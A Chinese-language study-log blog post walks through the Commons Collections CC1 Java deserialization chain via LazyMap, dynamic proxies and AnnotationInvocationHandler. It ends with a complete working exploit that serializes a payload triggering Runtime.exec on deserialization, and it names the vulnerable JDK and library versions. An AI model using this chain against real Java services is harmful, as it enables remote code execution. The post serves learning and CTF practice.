跳转至

Java学习日志——CC1链-LazyMap分支小结

前置知识:CC1 链的 TransformeredMap 分支、Java 动态代理

书接上回,我们看到,可以执行 transform 方法的过渡方法有两个,分别是 TransformedMap 类和 LazyMap 类。上次我们讲了 TransformedMap 类,这次我们讲一下 LazyMap 类。

动态代理速讲

这一次的攻击链,涉及到了动态代理的知识。开头说过,我们需要有 Java 动态代理的前置知识。所以我们只暂时讲一下最主要这次涉及到的动态代理知识。

首先动态代理涉及一个代理一个接口的实现类。假设我们有一个 IUser 的接口,他有一个实现类 User,我们想要对 User 做一些操作,但是又不想修改 User 的代码,这时候我们可以使用动态代理。动态代理类本质上是另一个实现类,但是这个实现类是 IUser 的代理类,我们可以通过代理类来调用 User 的方法,但是代理类会拦截到 User 的方法,然后我们可以在代理类中做一些操作。而这个代理类我们分为三个部分:代理的类、代理的接口、代理后要执行的方法。我们分别使用类加载器、被代理类的接口以及一个叫做 InvocationHandler 的接口来实现。在 InvoationHandler 中,我们定义了 invoke 方法,这个方法会在代理类调用被代理类的接口时执行。

IUser user = new UserImpl();
IUser userProxy = (IUser) Proxy.newProxyInstance(user.getClass().getClassLoader(), user.getClass().getInterfaces(), new UserInvocationHandler(user));
userProxy.show();

假如说这里的 UserImpl 就是我们需要代理的实现类,其中重载实现了 show 方法,那么我们将其通过 Proxy.newProxyInstance 生成 userProxy 代理类,然后通过 userProxy 调用 show 方法,那么 UserInvocationHandler 中的 invoke 方法就会被执行。

LazyMap 源码分析

现在我们有了动态代理的前置知识,我们直接来看一下我们需要构建的攻击链。首先回顾一下我们上一篇文章在使用 TransformedMap 前,我们已经有一个 chainedTransformer 这个对象,我们的目的就是让程序自动调用 chainedTransformer 中的 transform 方法就可以了。上一次中,我们通过 TransformedMap 中的 checkValue 方法调用了 transform 方法,现在我们通过 LazyMap 中的 get 方法调用了 transform 方法。下面查看它的源码:

public Object get(Object key) {
    // create value for key if key is not currently in the map
    if (map.containsKey(key) == false) {
        Object value = factory.transform(key);
        map.put(key, value);
        return value;
    }
    return map.get(key);
}

可以看到,LazyMapget 方法中,首先会判断 map 中是否包含 key,只要 map 不包含我们传入的 key ,就会调用 factory.transform(key) 方法。而根据 LazyMap 的源码,我们知道 factory 就是我们初始化 LazyMap 传入的一个 Transformer 对象,直接传入我们准备好的 chainedTransformer 就可以了

AnnotationInvocationHandler 源码分析

那么我们现在需要去找一个合适的类可以调用我们的 get 方法。由于调用这个方法的类特别多,我们只能参照 ysoserial 给的来看。好死不死,这次我们的过渡方法依然在 AnnotationInvocationHandler 中,这个 getinvoke 方法中。我们直接看 invoke 方法的源码:

public Object invoke(Object proxy, Method method, Object[] args) {
    String member = method.getName();
    Class<?>[] paramTypes = method.getParameterTypes();

    // Handle Object and Annotation methods
    if (member.equals("equals") && paramTypes.length == 1 &&
        paramTypes[0] == Object.class)
        return equalsImpl(args[0]);
    if (paramTypes.length != 0)
        throw new AssertionError("Too many parameters for an annotation method");

    switch(member) {
    case "toString":
        return toStringImpl();
    case "hashCode":
        return hashCodeImpl();
    case "annotationType":
        return type;
    }

    // Handle annotation member accessors
    Object result = memberValues.get(member);
    // 后面的我就不放出来了

在学习动态代理之前,其实并不知道这个 invoke 方法有什么特殊的含义。但是现在学习了动态代理之后,我们结合这个类的名字 AnnotationInvocationHandler 就可以知道,这个类是 InvocationHandler 的一个实现类。当我们把这个类作为一个动态代理类的“实现方法”时,当那个动态代理类的一个方法被调用时,此处的 invoke 方法就会被执行。

现在分析一下这个 invoke 方法。首先,通过动态代理机制,我们获取到了外部函数调用这个动态代理类的方法。然后开始检测这个方法。经过分析,只要这个方法是一个无参方法,并且方法名不能是 equalshashCodeannotationType,那么就会执行 memberValues.get(member) 方法。

接下来,我们就可以执行构造一个 LazyMap 对象,并且其 factory 属性存储为我们的 chainedTransformer ,让他与一个 AnnotationInvocationHandler 对象关联起来一起被代理为 proxyMap

// 构造 一个普通的 Map 用来初始化第一个 AnnotationInvocationHandler
HashMap<Object, Object> map = new HashMap<>();
Map<Object, Object> lazyMap = (Map) LazyMap.decorate(map, chainedTransformer);

// 构造第一个作为动态代理类执行 invoke 方法触发 lazymap 的 get 方法的 annotationInvocationHandler
Class annotationInvocationHdlClass = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor constructor = annotationInvocationHdlClass.getDeclaredConstructor(Class.class, Map.class);
constructor.setAccessible(true);
InvocationHandler hdl1 = (InvocationHandler) constructor.newInstance(Override.class, lazyMap);

可以看到,经过上面的代码,我们构造了一个包含了构造好的 LazyMapAnnotationInvocationHandler 对象,只要想办法调用这个对象的 invoke 方法,并且调用的方法是一个 Map 接口的非常规无参方法,就可以完成构造链。我们现在来动态代理一下试试:

// 将 hdl1 代理给 lazymap, 生成 proxyMap
Map proxyMap = (Map) Proxy.newProxyInstance(lazyMap.getClass().getClassLoader(), lazyMap.getClass().getInterfaces(),  hdl1);
// 使用一个 clear 方法作为传入的无参方法
proxyMap.clear();

可以看到,我们最后弹出了想要的计算器。现在来梳理一下这一切干了什么:

  1. proxyMap.clear() 的执行,因为 proxyMap 是通过 Proxy 类创建出来的动态代理类,所以会执行 hdl1 中的 invoke 方法。
  2. hdl1 中的 invoke 方法可以得知外部调用的方法名字。所以这里知道方法名是 clear 。它既不属于列举的 equals 等方法,也没有参数,所以顺利执行 memberValues.get(member) 方法。而这个 memberValues ,就是我们构造好的 LazyMap 对象。
  3. 执行 LazyMap 中的 get 方法,调用 factory.transform(key) 方法。最终完成整条链的命令执行。

完成入口类到调用 proxyMap 的无参方法的衔接

但是这一切还没有结束。我们已经确保只要我们构造好的动态代理类 proxyMap 的特定无参方法被调用,那么攻击链就完成了。现在需要找到的就是一个入口类,它需要有 readObject 方法可以反序列化,同时也尽量可以调用我们的 proxyMap 的无参方法。

好巧不巧,这一次我们找到的还是 AnnotationInvocationHandler 类。上一次我们看到它的 readObject 方法里面有我们想要的 checkValue 方法。这一次还有我们想要的。重新来看一下它的源码吧:

private void readObject(java.io.ObjectInputStream s)
    throws java.io.IOException, ClassNotFoundException {
    s.defaultReadObject();

    // Check to make sure that types have not evolved incompatibly

    AnnotationType annotationType = null;
    try {
        annotationType = AnnotationType.getInstance(type);
    } catch(IllegalArgumentException e) {
        // Class is no longer an annotation type; time to punch out
        throw new java.io.InvalidObjectException("Non-annotation type in annotation serial stream");
    }

    Map<String, Class<?>> memberTypes = annotationType.memberTypes();

    // If there are annotation members without values, that
    // situation is handled by the invoke method.
    // 观察到下面这行,调用了 memberValues.entrySet() 方法
    for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) {
        String name = memberValue.getKey();
        Class<?> memberType = memberTypes.get(name);
    // 后面的我就不复制了,没有用

可以看到和以前的区别,我们在进入上面给出的倒数第三行的 for 循环时,调用了 memberValues.entrySet() 方法。而这个 memberValues 就是我们构造好的 LazyMap 对象。在上次我们走 TransformedMap 分支时,我们还需要经过下面的三个 if 分支判断。但是这一次,我们注意到,就在这个 for 循环的一开始,我们看见了 memberValues.entrySet() 方法。仔细一想,这个 entrySet 正好符合我们的无参、特殊的方法。也就是说,我们只要让这个 memberValues 为我们之前构造好的 proxyMap 动态代理类就可以了。也就是说接下来的思路很清晰了,只要新建一个 AnnotationInvocationHandler 对象,并且把 memberValues 属性设置为 proxyMap 动态代理类即可。

// 构造第二个用于触发无参方法的 AnnotationInvocationHandler
Object hdl2 = constructor.newInstance(Override.class, proxyMap);
serialize(hdl2, "ser.bin");

完事之后,我们的 ser.bin 就是我们的 payload 了。

最终 EXP

public static void main(String[] args) throws IOException, NoSuchMethodException, InvocationTargetException, IllegalAccessException, ClassNotFoundException, InstantiationException {
    // 构造 chainedTransformer
    Transformer[] transformers = new Transformer[]{
            new ConstantTransformer(Runtime.class),
            new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
            new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
            new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"kcalc"}),
    };
    ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

    // 构造 一个普通的 Map 用来初始化第一个 AnnotationInvocationHandler
    HashMap<Object, Object> map = new HashMap<>();
    Map<Object, Object> lazyMap = (Map) LazyMap.decorate(map, chainedTransformer);

    // 构造第一个作为动态代理类执行 invoke 方法触发 lazymap 的 get 方法的 annotationInvocationHandler
    Class annotationInvocationHdlClass = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
    Constructor constructor = annotationInvocationHdlClass.getDeclaredConstructor(Class.class, Map.class);
    constructor.setAccessible(true);
    InvocationHandler hdl1 = (InvocationHandler) constructor.newInstance(Override.class, lazyMap);


    // 将 hdl1 代理给 lazymap, 生成 proxyMap
    Map proxyMap = (Map) Proxy.newProxyInstance(lazyMap.getClass().getClassLoader(), lazyMap.getClass().getInterfaces(),  hdl1);

    // 构造第二个用于触发无参方法的 AnnotationInvocationHandler
    Object hdl2 = constructor.newInstance(Override.class, proxyMap);

    serialize(hdl2, "ser.bin");

//         反序列化,验证成果
    unserialize("ser.bin");
}

总结

我们从头来捋一下,可以看到我们一共创建了两个 AnnotationInvocationHandler 对象,分别命名为 hdl1hdl2。这只是巧合,它们两个的作用完全不一样。首先我们的 hdl2 被序列化作为 payload。当它被作为反序列化的目标时,就会调用 readObject 方法,从而调用它包含的 proxyMap 动态代理类的 entrySet 方法。此举会触发 proxyMap 的动态代理,它自己还有另一个 InvocationHandler 对象,也就是 hdl1。它触发了 hdl1invoke 方法,从而执行了 memberValues.get(member) 方法,最终执行了 chainedTransformertransform 方法。

我们试着列一个流程图:

  • AnnotationInvocationHandler.readObject()
  • (Proxy) Map.entrySet()
  • AnnotationInvocationHandler.invoke()
  • LazyMap.get()
  • chainedTransformer.transform()
  • ...

这条链无疑是比 TransformedMap 这条分支更加繁琐,而且也没有什么更多的好处。它的版本依赖依旧是 jdk<=8u65Common Collections <=3.2.0

不管怎么说,多一条链就多一个选择。接下来的 CTFshow 将会出现禁用 TransformedMap 的题目,那么就是我们的 CC1 链 LazyMap 大显身手的时候了。

下次见!


文章热度:0次阅读